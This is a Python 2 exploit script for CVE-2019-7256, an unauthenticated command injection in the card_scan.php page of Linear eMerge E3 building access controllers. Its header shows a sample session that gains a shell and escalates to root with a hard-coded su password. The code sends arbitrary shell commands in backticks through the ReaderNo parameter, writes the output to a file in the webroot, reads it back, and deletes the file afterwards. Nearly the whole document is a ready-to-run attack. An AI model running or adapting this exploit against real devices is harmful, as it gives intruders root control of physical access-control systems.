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#!/usr/bin/env python  
#  
# Linear eMerge E3 Unauthenticated Command Injection Remote Root Exploit  
# Affected version: <=1.00-06  
# via card_scan.php  
# CVE: CVE-2019-7256  
# Advisory: https://applied-risk.com/resources/ar-2019-005  
#  
# By Gjoko 'LiquidWorm' Krstic  
#  
###################################################################  
# lqwrm@metalgear:~/stuff$ python emergeroot1.py 192.168.1.2  
#  
# lighttpd@192.168.1.2:/spider/web/webroot$ id  
# uid=1003(lighttpd) gid=0(root)  
#  
# lighttpd@192.168.1.2:/spider/web/webroot$ echo davestyle |su -c id  
# Password:   
# uid=0(root) gid=0(root) groups=0(root)  
#  
# lighttpd@192.168.1.2:/spider/web/webroot$ exit  
#  
# [+] Erasing read stage file and exiting...  
# [+] Done. Ba-bye!  
#  
###################################################################  
  
import requests  
import sys,os##  
  
piton = os.path.basename(sys.argv[0])  
  
if len(sys.argv) < 2:  
print '\n\x20\x20[*] Usage: '+piton+' <ipaddress:port>\n'  
sys.exit()  
  
ipaddr = sys.argv[1]  
  
print  
while True:  
try:  
cmd = raw_input('lighttpd@'+ipaddr+':/spider/web/webroot$ ')  
execute = requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60'+cmd+' > test.txt%60')  
readreq = requests.get('http://'+ipaddr+'/test.txt')  
print readreq.text  
if cmd.strip() == 'exit':  
print "[+] Erasing read stage file and exiting..."  
requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60rm test.txt%60')  
print "[+] Done. Ba-bye!\n"  
break  
else: continue  
except Exception:  
break  
  
sys.exit()